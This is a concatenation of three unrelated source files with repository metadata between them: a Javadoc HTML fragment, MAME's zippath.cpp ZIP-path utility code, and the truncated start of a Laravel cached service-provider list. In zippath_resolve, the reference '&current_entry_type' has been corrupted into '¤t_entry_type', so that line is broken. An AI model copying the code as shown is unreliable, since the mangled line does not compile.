<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Method Detail</B></FONT></TD>
</TR>
</TABLE>
<A NAME="analyze()"><!-- --></A><H3>
analyze</H3>
<PRE>
public void <B>analyze</B>()</PRE>
<DL>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>
<!-- ========== START OF NAVBAR ========== -->
<A NAME="navbar_bottom"><!-- --></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/OtherFileAnalysis.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../com/versata/automationanalyzer/MainWindow.ExtensionFileFilter.html"><B>PREV CLASS</B></A>
<A HREF="../../../com/versata/automationanalyzer/QueryObjectAnalysis.html"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>
<A HREF="OtherFileAnalysis.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: INNER | <A HREF="#field_summary">FIELD</A> | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<!-- =========== END OF NAVBAR =========== -->
<HR>
</BODY>
</HTML>
|
tylerm007/Archimedes
|
Docs/com/versata/automationanalyzer/OtherFileAnalysis.html
|
HTML
|
gpl-2.0
| 12,946
|
// license:BSD-3-Clause
// copyright-holders:Nathan Woods
/***************************************************************************
zippath.c
File/directory/path operations that work with ZIP files
***************************************************************************/
#include <ctype.h>
#include <stdlib.h>
#include <new>
#include <assert.h>
#include "zippath.h"
#include "unzip.h"
#include "corestr.h"
#include "osdcore.h"
/***************************************************************************
TYPE DEFINITIONS
***************************************************************************/
/**
* @struct zippath_returned_directory
*
* @brief A zippath returned directory.
*/
struct zippath_returned_directory
{
/** @brief The next. */
zippath_returned_directory *next;
/** @brief The name. */
std::string name;
};
/**
* @class zippath_directory
*
* @brief A zippath directory.
*/
class zippath_directory
{
public:
zippath_directory()
: returned_parent(false),
directory(nullptr),
called_zip_first(false),
zipfile(nullptr),
returned_dirlist(nullptr) { }
/* common */
/** @brief true to returned parent. */
bool returned_parent;
/** @brief The returned entry. */
osd_directory_entry returned_entry;
/* specific to normal directories */
/** @brief Pathname of the directory. */
osd_directory *directory;
/* specific to ZIP directories */
/** @brief true to called zip first. */
bool called_zip_first;
/** @brief The zipfile. */
zip_file *zipfile;
/** @brief The zipprefix. */
std::string zipprefix;
/** @brief The returned dirlist. */
zippath_returned_directory *returned_dirlist;
};
/***************************************************************************
FUNCTION PROTOTYPES
***************************************************************************/
static const zip_file_header *zippath_find_sub_path(zip_file *zipfile, const char *subpath, osd_dir_entry_type *type);
static int is_zip_file(const char *path);
static int is_zip_file_separator(char c);
static int is_7z_file(const char *path);
/***************************************************************************
PATH OPERATIONS
***************************************************************************/
/**
* @fn int is_path_separator(char c)
*
* @brief ============================================================
* is_path_separator
* ============================================================.
*
* @param c The character.
*
* @return An int.
*/
int is_path_separator(char c)
{
return (c == '/') || (c == '\\');
}
/*-------------------------------------------------
parse_parent_path - parses out the parent path
-------------------------------------------------*/
/**
* @fn static void parse_parent_path(const char *path, int *beginpos, int *endpos)
*
* @brief Parse parent path.
*
* @param path Full pathname of the file.
* @param [in,out] beginpos If non-null, the beginpos.
* @param [in,out] endpos If non-null, the endpos.
*/
static void parse_parent_path(const char *path, int *beginpos, int *endpos)
{
int length = strlen(path);
int pos;
/* skip over trailing path separators */
pos = length - 1;
while((pos > 0) && is_path_separator(path[pos]))
pos--;
/* return endpos */
if (endpos != nullptr)
*endpos = pos;
/* now skip until we find a path separator */
while((pos >= 0) && !is_path_separator(path[pos]))
pos--;
/* return beginpos */
if (beginpos != nullptr)
*beginpos = pos;
}
/*-------------------------------------------------
zippath_parent - retrieves the parent directory
-------------------------------------------------*/
/**
* @fn std::string &zippath_parent(std::string &dst, const char *path)
*
* @brief Zippath parent.
*
* @param [in,out] dst Destination for the.
* @param path Full pathname of the file.
*
* @return A std::string&
*/
std::string &zippath_parent(std::string &dst, const char *path)
{
int pos;
parse_parent_path(path, &pos, nullptr);
/* return the result */
if (pos >= 0) {
dst.assign(path, pos + 1);
}
else {
dst.clear();
}
return dst;
}
/*-------------------------------------------------
zippath_parent_basename - retrieves the parent
directory basename
-------------------------------------------------*/
/**
* @fn std::string &zippath_parent_basename(std::string &dst, const char *path)
*
* @brief Zippath parent basename.
*
* @param [in,out] dst Destination for the.
* @param path Full pathname of the file.
*
* @return A std::string&
*/
std::string &zippath_parent_basename(std::string &dst, const char *path)
{
int beginpos, endpos;
parse_parent_path(path, &beginpos, &endpos);
dst.copy((char*)(path + beginpos + 1), endpos - beginpos);
return dst;
}
/*-------------------------------------------------
zippath_combine - combines two paths
-------------------------------------------------*/
/**
* @fn std::string &zippath_combine(std::string &dst, const char *path1, const char *path2)
*
* @brief Zippath combine.
*
* @param [in,out] dst Destination for the.
* @param path1 The first path.
* @param path2 The second path.
*
* @return A std::string&
*/
std::string &zippath_combine(std::string &dst, const char *path1, const char *path2)
{
if (!strcmp(path2, "."))
{
dst.assign(path1);
}
else if (!strcmp(path2, ".."))
{
zippath_parent(dst, path1);
}
else if (osd_is_absolute_path(path2))
{
dst.assign(path2);
}
else if ((path1[0] != '\0') && !is_path_separator(path1[strlen(path1) - 1]))
{
dst.assign(path1).append(PATH_SEPARATOR).append(path2);
}
else
{
dst.assign(path1).append(path2);
}
return dst;
}
/***************************************************************************
FILE OPERATIONS
***************************************************************************/
/*-------------------------------------------------
file_error_from_zip_error - translates a
file_error to a zip_error
-------------------------------------------------*/
/**
* @fn static file_error file_error_from_zip_error(zip_error ziperr)
*
* @brief File error from zip error.
*
* @param ziperr The ziperr.
*
* @return A file_error.
*/
static file_error file_error_from_zip_error(zip_error ziperr)
{
file_error filerr;
switch(ziperr)
{
case ZIPERR_NONE:
filerr = FILERR_NONE;
break;
case ZIPERR_OUT_OF_MEMORY:
filerr = FILERR_OUT_OF_MEMORY;
break;
case ZIPERR_BAD_SIGNATURE:
case ZIPERR_DECOMPRESS_ERROR:
case ZIPERR_FILE_TRUNCATED:
case ZIPERR_FILE_CORRUPT:
case ZIPERR_UNSUPPORTED:
case ZIPERR_FILE_ERROR:
filerr = FILERR_INVALID_DATA;
break;
case ZIPERR_BUFFER_TOO_SMALL:
default:
filerr = FILERR_FAILURE;
break;
}
return filerr;
}
/*-------------------------------------------------
create_core_file_from_zip - creates a core_file
from a zip file entry
-------------------------------------------------*/
/**
* @fn static file_error create_core_file_from_zip(zip_file *zip, const zip_file_header *header, util::core_file::ptr &file)
*
* @brief Creates core file from zip.
*
* @param [in,out] zip If non-null, the zip.
* @param header The header.
* @param [in,out] file [in,out] If non-null, the file.
*
* @return The new core file from zip.
*/
static file_error create_core_file_from_zip(zip_file *zip, const zip_file_header *header, util::core_file::ptr &file)
{
file_error filerr;
zip_error ziperr;
void *ptr;
ptr = malloc(header->uncompressed_length);
if (ptr == nullptr)
{
filerr = FILERR_OUT_OF_MEMORY;
goto done;
}
ziperr = zip_file_decompress(zip, ptr, header->uncompressed_length);
if (ziperr != ZIPERR_NONE)
{
filerr = file_error_from_zip_error(ziperr);
goto done;
}
filerr = util::core_file::open_ram_copy(ptr, header->uncompressed_length, OPEN_FLAG_READ, file);
if (filerr != FILERR_NONE)
goto done;
done:
if (ptr != nullptr)
free(ptr);
return filerr;
}
/*-------------------------------------------------
zippath_fopen - opens a zip path file
-------------------------------------------------*/
/**
* @fn file_error zippath_fopen(const char *filename, UINT32 openflags, util::core_file::ptr &file, std::string &revised_path)
*
* @brief Zippath fopen.
*
* @param filename Filename of the file.
* @param openflags The openflags.
* @param [in,out] file [in,out] If non-null, the file.
* @param [in,out] revised_path Full pathname of the revised file.
*
* @return A file_error.
*/
file_error zippath_fopen(const char *filename, UINT32 openflags, util::core_file::ptr &file, std::string &revised_path)
{
file_error filerr = FILERR_NOT_FOUND;
zip_error ziperr;
zip_file *zip = nullptr;
const zip_file_header *header;
osd_dir_entry_type entry_type;
char *alloc_fullpath = nullptr;
int len;
/* first, set up the two types of paths */
std::string mainpath(filename);
std::string subpath;
file = nullptr;
/* loop through */
while((file == nullptr) && (mainpath.length() > 0)
&& ((openflags == OPEN_FLAG_READ) || (subpath.length() == 0)))
{
/* is the mainpath a ZIP path? */
if (is_zip_file(mainpath.c_str()))
{
/* this file might be a zip file - lets take a look */
ziperr = zip_file_open(mainpath.c_str(), &zip);
if (ziperr == ZIPERR_NONE)
{
/* it is a zip file - error if we're not opening for reading */
if (openflags != OPEN_FLAG_READ)
{
filerr = FILERR_ACCESS_DENIED;
goto done;
}
if (subpath.length() > 0)
header = zippath_find_sub_path(zip, subpath.c_str(), &entry_type);
else
header = zip_file_first_file(zip);
if (header == nullptr)
{
filerr = FILERR_NOT_FOUND;
goto done;
}
/* attempt to read the file */
filerr = create_core_file_from_zip(zip, header, file);
if (filerr != FILERR_NONE)
goto done;
/* update subpath, if appropriate */
if (subpath.length() == 0)
subpath.assign(header->filename);
/* we're done */
goto done;
}
}
else if (is_7z_file(mainpath.c_str()))
{
filerr = FILERR_INVALID_DATA;
goto done;
}
if (subpath.length() == 0)
filerr = util::core_file::open(filename, openflags, file);
else
filerr = FILERR_NOT_FOUND;
/* if we errored, then go up a directory */
if (filerr != FILERR_NONE)
{
/* go up a directory */
std::string temp;
zippath_parent(temp, mainpath.c_str());
/* append to the sub path */
if (subpath.length() > 0)
{
std::string temp2;
mainpath = mainpath.substr(temp.length());
temp2.assign(mainpath).append(PATH_SEPARATOR).append(subpath);
subpath.assign(temp2);
}
else
{
mainpath = mainpath.substr(temp.length());
subpath.assign(mainpath);
}
/* get the new main path, truncating path separators */
len = temp.length();
while (len > 0 && is_zip_file_separator(temp[len - 1]))
len--;
temp = temp.substr(0, len);
mainpath.assign(temp);
}
}
done:
/* store the revised path */
revised_path.clear();
if (filerr == FILERR_NONE)
{
/* cannonicalize mainpath */
filerr = osd_get_full_path(&alloc_fullpath, mainpath.c_str());
if (filerr == FILERR_NONE)
{
if (subpath.length() > 0)
revised_path.assign(alloc_fullpath).append(PATH_SEPARATOR).append(subpath);
else
revised_path.assign(alloc_fullpath);
}
}
if (zip != nullptr)
zip_file_close(zip);
if (alloc_fullpath != nullptr)
osd_free(alloc_fullpath);
return filerr;
}
/***************************************************************************
DIRECTORY OPERATIONS
***************************************************************************/
/*-------------------------------------------------
is_root - tests to see if this path is the root
-------------------------------------------------*/
/**
* @fn static int is_root(const char *path)
*
* @brief Is root.
*
* @param path Full pathname of the file.
*
* @return An int.
*/
static int is_root(const char *path)
{
int i = 0;
/* skip drive letter */
if (isalpha(path[i]) && (path[i + 1] == ':'))
i += 2;
/* skip path separators */
while (is_path_separator(path[i]))
i++;
return path[i] == '\0';
}
/*-------------------------------------------------
is_7z_file - tests to see if this file is a
7-zip file
-------------------------------------------------*/
/**
* @fn static int is_7z_file(const char *path)
*
* @brief Is 7z file.
*
* @param path Full pathname of the file.
*
* @return An int.
*/
static int is_7z_file(const char *path)
{
const char *s = strrchr(path, '.');
return (s != nullptr) && !core_stricmp(s, ".7z");
}
/*-------------------------------------------------
is_zip_file - tests to see if this file is a
ZIP file
-------------------------------------------------*/
/**
* @fn static int is_zip_file(const char *path)
*
* @brief Is zip file.
*
* @param path Full pathname of the file.
*
* @return An int.
*/
static int is_zip_file(const char *path)
{
const char *s = strrchr(path, '.');
return (s != nullptr) && !core_stricmp(s, ".zip");
}
/*-------------------------------------------------
is_zip_file_separator - returns whether this
character is a path separator within a ZIP file
-------------------------------------------------*/
/**
* @fn static int is_zip_file_separator(char c)
*
* @brief Is zip file separator.
*
* @param c The character.
*
* @return An int.
*/
static int is_zip_file_separator(char c)
{
return (c == '/') || (c == '\\');
}
/*-------------------------------------------------
is_zip_path_separator - returns whether this
character is a path separator within a ZIP path
-------------------------------------------------*/
/**
* @fn static int is_zip_path_separator(char c)
*
* @brief Is zip path separator.
*
* @param c The character.
*
* @return An int.
*/
static int is_zip_path_separator(char c)
{
return is_zip_file_separator(c) || is_path_separator(c);
}
/*-------------------------------------------------
next_path_char - lexes out the next path
character, normalizing separators as '/'
-------------------------------------------------*/
/**
* @fn static char next_path_char(const char *s, int *pos)
*
* @brief Next path character.
*
* @param s The const char * to process.
* @param [in,out] pos If non-null, the position.
*
* @return A char.
*/
static char next_path_char(const char *s, int *pos)
{
char result;
/* skip over any initial separators */
if (*pos == 0)
{
while(is_zip_file_separator(s[*pos]))
(*pos)++;
}
/* are we at a path separator? */
if (is_zip_file_separator(s[*pos]))
{
/* skip over path separators */
while(is_zip_file_separator(s[*pos]))
(*pos)++;
/* normalize as '/' */
result = '/';
}
else if (s[*pos] != '\0')
{
/* return character */
result = tolower(s[(*pos)++]);
}
else
{
/* return NUL */
result = '\0';
}
return result;
}
/*-------------------------------------------------
zippath_find_sub_path - attempts to identify the
type of a sub path in a zip file
-------------------------------------------------*/
/**
* @fn static const zip_file_header *zippath_find_sub_path(zip_file *zipfile, const char *subpath, osd_dir_entry_type *type)
*
* @brief Zippath find sub path.
*
* @param [in,out] zipfile If non-null, the zipfile.
* @param subpath The subpath.
* @param [in,out] type If non-null, the type.
*
* @return null if it fails, else a zip_file_header*.
*/
static const zip_file_header *zippath_find_sub_path(zip_file *zipfile, const char *subpath, osd_dir_entry_type *type)
{
int i, j;
char c1, c2, last_char;
const zip_file_header *header;
for (header = zip_file_first_file(zipfile); header != nullptr; header = zip_file_next_file(zipfile))
{
/* special case */
if (subpath == nullptr)
{
if (type != nullptr)
*type = ENTTYPE_FILE;
return header;
}
i = 0;
j = 0;
last_char = '/';
while(((c1 = next_path_char(header->filename, &i)) == (c2 = next_path_char(subpath, &j))) &&
( c1 != '\0' && c2 != '\0' ))
last_char = c2;
if (c2 == '\0')
{
if (c1 == '\0')
{
if (type != nullptr)
*type = ENTTYPE_FILE;
return header;
}
else if ((last_char == '/') || (c1 == '/'))
{
if (type != nullptr)
*type = ENTTYPE_DIR;
return header;
}
}
}
if (type != nullptr)
*type = ENTTYPE_NONE;
return nullptr;
}
/*-------------------------------------------------
zippath_resolve - separates a ZIP path out into
true path and ZIP entry components
-------------------------------------------------*/
/**
* @fn static file_error zippath_resolve(const char *path, osd_dir_entry_type &entry_type, zip_file *&zipfile, std::string &newpath)
*
* @brief Zippath resolve.
*
* @param path Full pathname of the file.
* @param [in,out] entry_type Type of the entry.
* @param [in,out] zipfile [in,out] If non-null, the zipfile.
* @param [in,out] newpath The newpath.
*
* @return A file_error.
*/
static file_error zippath_resolve(const char *path, osd_dir_entry_type &entry_type, zip_file *&zipfile, std::string &newpath)
{
file_error err;
osd_directory_entry *current_entry = nullptr;
osd_dir_entry_type current_entry_type;
int went_up = FALSE;
int i;
newpath.clear();
/* be conservative */
entry_type = ENTTYPE_NONE;
zipfile = nullptr;
std::string apath(path);
std::string apath_trimmed;
do
{
/* trim the path of trailing path separators */
i = apath.length();
while (i > 1 && is_path_separator(apath[i - 1]))
i--;
apath = apath.substr(0, i);
apath_trimmed.assign(apath);
/* stat the path */
current_entry = osd_stat(apath_trimmed.c_str());
/* did we find anything? */
if (current_entry != nullptr)
{
/* get the entry type and free the stat entry */
current_entry_type = current_entry->type;
osd_free(current_entry);
current_entry = nullptr;
}
else
{
/* if we have not found the file or directory, go up */
current_entry_type = ENTTYPE_NONE;
went_up = TRUE;
std::string parent;
apath.assign(zippath_parent(parent, apath.c_str()));
}
}
while (current_entry_type == ENTTYPE_NONE && !is_root(apath.c_str()));
/* if we did not find anything, then error out */
if (current_entry_type == ENTTYPE_NONE)
{
err = FILERR_NOT_FOUND;
goto done;
}
/* is this file a ZIP file? */
if ((current_entry_type == ENTTYPE_FILE) && is_zip_file(apath_trimmed.c_str())
&& (zip_file_open(apath_trimmed.c_str(), &zipfile) == ZIPERR_NONE))
{
i = strlen(path + apath.length());
while (i > 0 && is_zip_path_separator(path[apath.length() + i - 1]))
i--;
newpath.assign(path + apath.length(), i);
/* this was a true ZIP path - attempt to identify the type of path */
zippath_find_sub_path(zipfile, newpath.c_str(), ¤t_entry_type);
if (current_entry_type == ENTTYPE_NONE)
{
err = FILERR_NOT_FOUND;
goto done;
}
}
else
{
/* this was a normal path */
if (went_up)
{
err = FILERR_NOT_FOUND;
goto done;
}
newpath.assign(path);
}
/* success! */
entry_type = current_entry_type;
err = FILERR_NONE;
done:
return err;
}
/*-------------------------------------------------
zippath_opendir - opens a directory
-------------------------------------------------*/
/**
* @fn file_error zippath_opendir(const char *path, zippath_directory **directory)
*
* @brief Zippath opendir.
*
* @param path Full pathname of the file.
* @param [in,out] directory If non-null, pathname of the directory.
*
* @return A file_error.
*/
file_error zippath_opendir(const char *path, zippath_directory **directory)
{
file_error err;
/* allocate a directory */
zippath_directory *result = nullptr;
try
{
result = new zippath_directory;
}
catch (std::bad_alloc &)
{
err = FILERR_OUT_OF_MEMORY;
goto done;
}
/* resolve the path */
osd_dir_entry_type entry_type;
err = zippath_resolve(path, entry_type, result->zipfile, result->zipprefix);
if (err != FILERR_NONE)
goto done;
/* we have to be a directory */
if (entry_type != ENTTYPE_DIR)
{
err = FILERR_NOT_FOUND;
goto done;
}
/* was the result a ZIP? */
if (result->zipfile == nullptr)
{
/* a conventional directory */
result->directory = osd_opendir(path);
if (result->directory == nullptr)
{
err = FILERR_FAILURE;
goto done;
}
/* is this path the root? if so, pretend we've already returned the parent */
if (is_root(path))
result->returned_parent = true;
}
done:
if ((directory == nullptr || err != FILERR_NONE) && result != nullptr)
{
zippath_closedir(result);
result = nullptr;
}
if (directory != nullptr)
*directory = result;
return err;
}
/*-------------------------------------------------
zippath_closedir - closes a directory
-------------------------------------------------*/
/**
* @fn void zippath_closedir(zippath_directory *directory)
*
* @brief Zippath closedir.
*
* @param [in,out] directory If non-null, pathname of the directory.
*/
void zippath_closedir(zippath_directory *directory)
{
if (directory->directory != nullptr)
osd_closedir(directory->directory);
if (directory->zipfile != nullptr)
zip_file_close(directory->zipfile);
while (directory->returned_dirlist != nullptr)
{
zippath_returned_directory *dirlist = directory->returned_dirlist;
directory->returned_dirlist = directory->returned_dirlist->next;
delete dirlist;
}
delete directory;
}
/*-------------------------------------------------
get_relative_path - checks to see if a specified
header is in the zippath_directory, and if so
returns the relative path
-------------------------------------------------*/
/**
* @fn static const char *get_relative_path(zippath_directory *directory, const zip_file_header *header)
*
* @brief Gets relative path.
*
* @param [in,out] directory If non-null, pathname of the directory.
* @param header The header.
*
* @return null if it fails, else the relative path.
*/
static const char *get_relative_path(zippath_directory *directory, const zip_file_header *header)
{
const char *result = nullptr;
int len = directory->zipprefix.length();
if ((len <= strlen(header->filename))
&& !strncmp(directory->zipprefix.c_str(), header->filename, len))
{
result = &header->filename[len];
while(is_zip_file_separator(*result))
result++;
}
return result;
}
/*-------------------------------------------------
zippath_readdir - reads a directory
-------------------------------------------------*/
/**
* @fn const osd_directory_entry *zippath_readdir(zippath_directory *directory)
*
* @brief Zippath readdir.
*
* @param [in,out] directory If non-null, pathname of the directory.
*
* @return null if it fails, else an osd_directory_entry*.
*/
const osd_directory_entry *zippath_readdir(zippath_directory *directory)
{
const osd_directory_entry *result = nullptr;
const zip_file_header *header;
const char *relpath;
const char *separator;
const char *s;
zippath_returned_directory *rdent;
if (!directory->returned_parent)
{
/* first thing's first - return parent directory */
directory->returned_parent = true;
memset(&directory->returned_entry, 0, sizeof(directory->returned_entry));
directory->returned_entry.name = "..";
directory->returned_entry.type = ENTTYPE_DIR;
result = &directory->returned_entry;
}
else if (directory->directory != nullptr)
{
/* a normal directory read */
do
{
result = osd_readdir(directory->directory);
}
while((result != nullptr) && (!strcmp(result->name, ".") || !strcmp(result->name, "..")));
/* special case - is this entry a ZIP file? if so we need to return it as a "directory" */
if ((result != nullptr) && is_zip_file(result->name))
{
/* copy; but change the entry type */
directory->returned_entry = *result;
directory->returned_entry.type = ENTTYPE_DIR;
result = &directory->returned_entry;
}
}
else if (directory->zipfile != nullptr)
{
do
{
/* a zip file read */
do
{
if (!directory->called_zip_first)
header = zip_file_first_file(directory->zipfile);
else
header = zip_file_next_file(directory->zipfile);
directory->called_zip_first = true;
relpath = nullptr;
}
while((header != nullptr) && ((relpath = get_relative_path(directory, header)) == nullptr));
if (relpath != nullptr)
{
/* we've found a ZIP entry; but this may be an entry deep within the target directory */
for (s = relpath; *s && !is_zip_file_separator(*s); s++)
;
separator = *s ? s : nullptr;
if (separator != nullptr)
{
/* a nested entry; loop through returned_dirlist to see if we've returned the parent directory */
for (rdent = directory->returned_dirlist; rdent != nullptr; rdent = rdent->next)
{
if (!core_strnicmp(rdent->name.c_str(), relpath, separator - relpath))
break;
}
if (rdent == nullptr)
{
/* we've found a new directory; add this to returned_dirlist */
rdent = new zippath_returned_directory;
rdent->next = directory->returned_dirlist;
rdent->name.assign(relpath, separator - relpath);
directory->returned_dirlist = rdent;
/* ...and return it */
memset(&directory->returned_entry, 0, sizeof(directory->returned_entry));
directory->returned_entry.name = rdent->name.c_str();
directory->returned_entry.type = ENTTYPE_DIR;
result = &directory->returned_entry;
}
}
else
{
/* a real file */
memset(&directory->returned_entry, 0, sizeof(directory->returned_entry));
directory->returned_entry.name = relpath;
directory->returned_entry.type = ENTTYPE_FILE;
directory->returned_entry.size = header->uncompressed_length;
result = &directory->returned_entry;
}
}
}
while((relpath != nullptr) && (result == nullptr));
}
return result;
}
/*-------------------------------------------------
zippath_is_zip - returns TRUE if this path is
a ZIP path or FALSE if not
-------------------------------------------------*/
/**
* @fn int zippath_is_zip(zippath_directory *directory)
*
* @brief Zippath is zip.
*
* @param [in,out] directory If non-null, pathname of the directory.
*
* @return An int.
*/
int zippath_is_zip(zippath_directory *directory)
{
return directory->zipfile != nullptr;
}
|
motoschifo/mame
|
src/lib/util/zippath.cpp
|
C++
|
gpl-2.0
| 26,746
|
<?php return array (
'providers' =>
array (
0 => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
1 => 'Illuminate\\Cookie\\CookieServiceProvider',
2 => 'Illuminate\\Database\\DatabaseServiceProvider',
3 => 'Illuminate\\Filesystem\\FilesystemServiceProvider',
4 => 'Illuminate\\Pipeline\\PipelineServiceProvider',
5 => 'Illuminate\\Session\\SessionServiceProvider',
6 => 'Illuminate\\Translation\\TranslationServiceProvider',
7 => 'Illuminate\\Validation\\ValidationServiceProvider',
8 => 'Illuminate\\View\\ViewServiceProvider',
),
'eager' =>
array (
0 => 'Illuminate\\Cookie\\CookieServiceProvider',
1 => 'Illuminate\\Database\\DatabaseServiceProvider',
2 => 'Illuminate\\Filesystem\\FilesystemServiceProvider',
3 => 'Illuminate\\Session\\SessionServiceProvider',
4 => 'Illuminate\\View\\ViewServiceProvider',
),
'deferred' =>
array (
'command.cache.clear' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.cache.forget' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.clear-compiled' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.auth.resets.clear' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.config.cache' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.config.clear' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.db.wipe' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.down' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.environment' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.event.cache' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.event.clear' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.event.list' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.key.generate' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.optimize' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.optimize.clear' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.package.discover' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.clear' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.failed' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.flush' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.forget' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.listen' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.restart' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.retry' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.retry-batch' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.queue.work' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.route.cache' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.route.clear' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.route.list' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.schema.dump' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.seed' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'Illuminate\\Console\\Scheduling\\ScheduleFinishCommand' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'Illuminate\\Console\\Scheduling\\ScheduleRunCommand' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.storage.link' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.up' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.view.cache' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.view.clear' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.cache.table' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.cast.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.channel.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.component.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.console.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.controller.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.event.generate' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.event.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.exception.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.factory.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.job.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.listener.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.mail.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.middleware.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.model.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.notification.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.notification.table' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
'command.observer.make' => 'Illuminate\\Foundation\\Providers\\ConsoleSupportServiceProvider',
